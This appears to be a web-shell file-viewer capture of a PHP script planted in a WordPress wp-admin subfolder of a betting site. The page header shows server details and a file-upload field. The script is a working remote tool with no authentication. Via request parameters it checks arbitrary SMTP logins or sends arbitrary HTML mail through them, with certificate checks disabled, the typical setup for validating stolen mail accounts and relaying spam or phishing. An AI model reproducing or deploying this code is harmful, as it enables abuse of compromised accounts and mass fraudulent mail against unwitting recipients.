|
Server : LiteSpeed System : Linux srv104790275 5.15.0-161-generic #171-Ubuntu SMP Sat Oct 11 08:17:01 UTC 2025 x86_64 User : dewac4139 ( 1077) PHP Version : 8.0.30 Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare, Directory : /home/mentaribetslot.com/public_html/wp-admin/include_/ |
Upload File : |
<?php
use PHPMailer\PHPMailer\PHPMailer;
require 'src/Exception.php';
require 'src/PHPMailer.php';
require 'src/SMTP.php';
use PHPMailer\PHPMailer\Exception;
function smtp_send($host, $port, $user, $pass, $to, $subject, $fromName, $message){
$mail = new PHPMailer;
$mail->isSMTP();
$mail->Timeout = 18;
$mail->getSMTPInstance()->Timelimit = 15;
$mail->SMTPDebug = 0;
$mail->Host = $host;
$mail->Port = $port;
$mail->SMTPOptions = array(
'ssl' => array(
'verify_peer' => false,
'verify_peer_name' => false,
'allow_self_signed' => true
)
);
$mail->SMTPAuth = true;
$mail->Username = $user;
$mail->Password = $pass;
$mail->setFrom($user, $fromName);
$mail->addAddress($to);
$mail->Subject = $subject;
$mail->msgHTML($message);
if($mail->send()){
$mail->smtpClose();
return [true,''];
}else{
$mail->smtpClose();
return [false,$mail->ErrorInfo];
}
}
function smtp_auth($host, $port, $user, $pass){
$mail = new PHPMailer;
$mail->Timeout = 15;
$mail->getSMTPInstance()->Timelimit = 10;
$mail->SMTPDebug = 0;
$mail->Host = $host;
$mail->Port = $port;
$mail->SMTPOptions = array(
'ssl' => array(
'verify_peer' => false,
'verify_peer_name' => false,
'allow_self_signed' => true
)
);
$mail->SMTPAuth = true;
$mail->Username = $user;
$mail->Password = $pass;
if($mail->smtpConnect()){
$mail->smtpClose();
return [true,''];
}else{
$mail->smtpClose();
return [false,$mail->ErrorInfo];
}
}
if(isset($_GET["auth_type"])){
if($_GET["auth_type"]==1){
if(isset($_POST["host"]) && isset($_POST["port"]) && isset($_POST["user"]) && isset($_POST["pass"])){
$res = smtp_auth(urldecode($_POST["host"]), $_POST["port"], urldecode($_POST["user"]), urldecode($_POST["pass"]));
echo json_encode($res);exit();
}
}else{
if(isset($_POST["host"]) && isset($_POST["port"]) && isset($_POST["user"]) && isset($_POST["pass"]) && isset($_POST["to"]) && isset($_POST["subject"]) && isset($_POST["fromName"]) && isset($_POST["message"])){
$res = smtp_send(urldecode($_POST["host"]), $_POST["port"], urldecode($_POST["user"]), urldecode($_POST["pass"]), urldecode($_POST["to"]), urldecode($_POST["subject"]), urldecode($_POST["fromName"]), urldecode($_POST["message"]));
echo json_encode($res);exit();
}
}
}
echo 'none';
?>